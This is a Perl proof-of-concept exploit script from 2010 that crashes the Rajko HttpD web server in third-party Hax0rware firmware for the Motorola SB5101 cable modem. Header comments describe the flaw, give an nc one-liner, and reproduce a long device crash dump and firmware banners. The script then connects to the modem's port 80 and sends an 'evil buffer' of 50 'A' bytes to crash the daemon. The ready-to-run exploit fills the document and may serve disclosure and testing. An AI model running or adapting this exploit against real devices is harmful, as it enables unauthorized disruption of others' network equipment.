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#!/usr/bin/perl
# Motorola SB5101 Hax0rware Rajko HttpD Remote Exploit PoC
# Author: Dillon Beresford
# Date: 6/6/2010
# Vendor: SBHacker & Motorola
# Software Link: http://www.sbhacker.net/forum/index.php
# Tested on Hax0rware 1.1 R30, R32 and R39
# Description: Motorola SB5101 Hax0rware Rajko HttpD Remote Exploit
# If an unauthenticated user or attacker sends any number of bytes greater than 1
# to port 80 without a proper request line, such as, [ GET /somepath/file.cgi ]
# the http daemon triggers a crash on thread at 0x8054b9ac Rajko HttpD.
# The developer of Hax0rware said he has used the modem's local ip to bind to the webserver
# to prevent attackers from triggering the vuln... This seems to be a quick fix atm.
# I'm sure he will eventually fix the bug and update the firmware.
# Motorola and Cable providers should warn their customers ( there are a number of legit )
# customers using this firmware for testing. Its important that you let
# customers know about the risk of third party firmware that isn't open source.
# nc 192.168.100.1 80 <sendsomeevil>
# For debugging telnet into the device 192.168.100.1 and run the poc.
# >>> YIKES... looks like you may have a problem! <<<
# r0/zero=00000000 r1/at =fffffffe r2/v0 =805a1800 r3/v1 =00000000
# r4/a0 =8054aa58 r5/a1 =00000000 r6/a2 =00000000 r7/a3 =00000000
# r8/t0 =00000000 r9/t1 =807bcae4 r10/t2 =00000041 r11/t3 =000043e0
# r12/t4 =4d154e68 r13/t5 =00000000 r14/t6 =00000000 r15/t7 =00000005
# r16/s0 =8054bacc r17/s1 =00000000 r18/s2 =805a1800 r19/s3 =00000000
# r20/s4 =00000001 r21/s5 =0000002a r22/s6 =8054b848 r23/s7 =00000001
# r24/t8 =00000000 r25/t9 =00000059 r26/k0 =00000000 r27/k1 =11110017
# r28/gp =80458fa0 r29/sp =8054b830 r30/fp =8054b960 r31/ra =8054a514
# PC : 0x8054a534 error addr: 0x00000000
# cause: 0x00000008 status: 0x1000ff03
# BCM interrupt enable: ffffbff7, status: 00000000
# Bad PC or SP. Can't trace the stack.
# Task: Rajko HttpD
# ---------------------------------------------------
# ID: 0x0006
# Handle: 0x8054b9ac
# Set Priority: 23
# Current Priority: 23
# State: SUSP
# Stack Base: 0x8054acd4
# Stack Size: 3280 bytes
# Stack Used: 1940 bytes
# Stack Stack Stack
# TaskId TaskName Priority State Size Used Margin
# ---------- -------------------------------- -------- -------- -------- -------- --------
# 0x8048f818 Idle Thread 31 RUN 2048 616 1432
# 0x805131d0 Network alarm support 6 SLEEP 2256 1232 1024
# 0x804924c8 Network support 7 SLEEP 8192 1704 6488
# 0x80513f20 pthread.00000800 15 EXIT 7852 1104 6748
# 0x8048a1c8 tStartup 18 SLEEP 12288 5208 7080
# 0x8054b9ac Rajko HttpD 23 SUSP 3280 1940 1340
# 0x807f579c NonVol Device Async Helper 25 SLEEP 3072 504 2568
# 0x807ebc7c Motorola Standby Switch Thread 23 SLEEP 4096 440 3656
# 0x807ea984 Motorola Vendor Ctl Thread 23 SLEEP 4096 512 3584
# 0x807f64e8 WDOG 17 RUN 5120 2784 2336
# 0x807e86b4 BFC Ping Thread 29 SLEEP 6144 476 5668
# 0x807e4b3c ConsoleThread 27 SLEEP 36864 2172 34692
# 0x807d687c TelnetD 23 RUN 2256 1980 276
# 0x807c666c CfgVB Thread 23 SLEEP 4096 504 3592
# 0x807c501c DHCM 25 SLEEP 16384 512 15872
# 0x807befac Event Log Thread 25 SLEEP 8192 2184 6008
# 0x8079a51c Time Of Day Thread 23 SLEEP 6144 456 5688
# 0x8079a98c CmDocsisIpThread 23 SLEEP 8192 504 7688
# 0x80793af8 CmBpiManagerThd 25 SLEEP 8192 508 7684
# 0x8078ff78 CmDsxHelper 23 SLEEP 8192 504 7688
# 0x807abf50 CmDocsisCtlThread 21 SLEEP 8192 608 7584
# 0x80788e44 Scan Downstream Thread 23 SLEEP 4096 1428 2668
# 0x80785c20 RateShaping Thread 23 SLEEP 4096 444 3652
# 0x807f65e0 CMHL 23 SLEEP 4500 368 4132
# 0x807f66d8 CMHH 21 SLEEP 4500 352 4148
# 0x807f67d0 ENRX 23 RUN 4500 1028 3472
# 0x807f68c8 ENTX 23 SLEEP 4500 784 3716
# 0x807f69c0 ELNK 23 SLEEP 4500 320 4180
# 0x807f6ab8 USTX 23 SLEEP 4500 340 4160
# 0x807f6bb0 USRX 23 SLEEP 4500 372 4128
# 0x807f6ca8 UBCT 19 SLEEP 4500 356 4144
# 0x807f6da0 USRN 23 SLEEP 4500 340 4160
# 0x806a5a34 DHCP Client Thread 23 SLEEP 12288 508 11780
# 0x807f6e98 IpHalIst 23 RUN 4500 844 3656
# 0x8069fb98 CmPropaneCtlThread 23 SLEEP 8192 1628 6564
# 0x8069cf3c IGMP Thread 23 SLEEP 4096 456 3640
# 0x8069b640 NetToMedia Thread 23 SLEEP 4096 796 3300
# 0x806975a8 Trap Thread 23 SLEEP 16384 516 15868
# 0x807f6030 SNMP Thread 23 SLEEP 20480 1176 19304
# 0x805a7f0c DHCP Server Thread 23 SLEEP 8192 1448 6744
# 0x8047b410 tNonVolTimer 30 SLEEP 2048 1028 1020
# Done!
# * *
# *** ***
# *** ***
# *** ***
# ***** *****
# ***** *****
# ***** *****
# ******* *******
# ******* *******
# ******* *******
# ********* *********
# ********* *********
# **** *** *** ****
# *** *** ***
# *** * ***
# ** **
# ** **
# ** **
# ** **
# * *
# Motorola Corporation
# +----------------------------------------------------------------------------+
# | _/_/ _/_/_/_/ _/_/ |
# | _/ _/ _/ _/ _/ Broadband |
# | _/ _/ _/ _/ |
# | _/_/ _/_/_/ _/ Foundation |
# | _/ _/ _/ _/ |
# | _/ _/ _/ _/ _/ Classes |
# | _/_/_/ _/ _/_/ |
# | |
# | Copyright (c) 1999 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.9.33.3 RELEASE |
# | |
# | Features: Console Nonvol Fat HeapManager SNMP Networking USB1.1 |
# +----------------------------------------------------------------------------+
# | Standard Embedded Target Support for BFC |
# | |
# | Copyright (c) 2003 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.0.1 RELEASE |
# | |
# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |
# | Copyright (c) 2003 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.0.1 RELEASE |
# | |
# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |
# | Features: Bootloader-Compression-Support=0x19 |
# +----------------------------------------------------------------------------+
# | eCos BFC Application Layer |
# | |
# | Copyright (c) 1999 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.0.2 RELEASE |
# | |
# | Features: eCos Console Cmds, (no Idle Loop Profiler) |
# +----------------------------------------------------------------------------+
# | _/_/ _/ _/ |
# | _/ _/ _/_/ _/_/ DOCSIS Cable Modem |
# | _/ _/ _/ _/ |
# | _/ _/ _/ |
# | _/ _/ _/ |
# | _/ _/ _/ _/ |
# | _/_/ _/ _/ |
# | |
# | Copyright (c) 1999 - 2005 Broadcom Corporation |
# | |
# | Revision: 3.9.33.3 RELEASE |
# | |
# | Features: AckCel(tm) DOCSIS 1.0/1.1/2.0 Propane(tm) CM SNMP w/Factory MIB |
# | Features: Support CM Vendor Extension |
# +----------------------------------------------------------------------------+
# | Motorola Data-Only CM Vendor Extension |
# | |
# | Revision: 3.0.0a RELEASE |
# | |
# | Features: DHCP Server HTTP Server |
# +----------------------------------------------------------------------------+
# | Build Date: Apr 29 2009 |
# | Build Time: 15:08:51 |
# | Built By: vobadm02 |
# +----------------------------------------------------------------------------+
use strict;
use Socket;
my $buff = "\x41" x50;
my $cablemodemip = shift || '192.168.100.1';
my $port = shift || 80;
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($cablemodemip);
my $paddr = sockaddr_in($port, $iaddr);
print "+---------------------------------------------------------------+\n".
"| Motorola SB5101 Hax0rware Rajko HttpD Remote Exploit PoC |\n".
"| Motorola: SB5101-2.7.6.0-GA-00-NOSH |\n".
"| Version: 1.1 R30, R32 and R39 |\n".
"| Vendor: Motorola Corporation and SBHacker |\n".
"| Author: Dillon Beresford |\n".
"| Date: 6/6/2010 |\n".
"+---------------------------------------------------------------+\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to cable modem httpd at $cablemodemip on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending our evil buffer...\n";
print SOCKET $buff."\n";
print "[+] Payload sent\n";
print "[+] This takes some time please wait.\n";
print "[+] Dont look at me look at the leds on your modem\n";
close SOCKET or die "close: $!";
sleep(25);
print "[+] Bye Bye Motorola SB5101 \n";
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